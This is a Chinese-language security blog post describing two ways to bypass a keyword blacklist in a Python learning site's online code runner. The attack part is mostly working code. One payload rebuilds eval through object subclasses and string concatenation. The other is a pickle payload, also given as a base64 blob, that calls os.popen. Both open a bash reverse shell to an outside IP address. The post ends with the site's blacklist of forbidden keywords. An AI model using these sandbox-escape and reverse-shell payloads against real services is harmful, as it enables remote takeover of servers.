cdxy.me
Footprints on Cyber Security and Python

之前的案例 《某Python学习网站在线编码导致命令执行》 漏洞修复后再次绕过的两种方法。

测试仍以黑名单形式过滤关键字。且只过滤用户输入,并未影响到运行时。

方案

  1. 复活eval/exec函数
  2. 通过eval执行简单混淆过的payload躲避黑名单
  3. 通过os.popen拿到shell

方法1:复活eval

poc

picture

exp

a = 'e' + 'val'
p = 'po' + 'pen'
payload = '__import__("os").' + p + '("/bin/bash -i >& /dev/tcp/119.29.235.20/12345 0>&1")'

for c in [].__class__.__base__.__subclasses__():
    if c.__name__ == 'catch_warnings':
        for b in c.__init__.func_globals.values():
            if b.__class__ == {}.__class__:
                if a in b.keys():
                    b[a](payload)

picture

方法2:序列化替代eval

生成payload

import cPickle
import base64


class MMM(object):
    def __reduce__(self):
        import os
        s = "/bin/bash -i >& /dev/tcp/119.29.235.20/12345 0>&1"
        return (os.popen, (s,))


print base64.b64encode(cPickle.dumps(MMM()))

服务端执行:

import cPickle, base64
s = 'Y3Bvc2l4CnBvcGVuCnAxCihTJy9iaW4vYmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuMjkuMjM1LjIwLzEyMzQ1IDA+JjEnCnAyCnRScDMKLg=='
cPickle.loads(base64.b64decode(s))

成功getshell

getshell-pic

源码

进入系统之后,看到源码中的过滤规则如下:

elif forbidden_command(self.data):
    self.return_response("!!!!!!This command is forbidden.")

def forbidden_command(data):
    forbidden_keywords = ["input", "system", "popen","subprocess", "commands", "rmdir", "open", "while", "help()", "serve", "turtle", "matplotlib", "socket", "eval", "exec"]
    for keyword in forbidden_keywords:
        if keyword in data:
            return True
    return False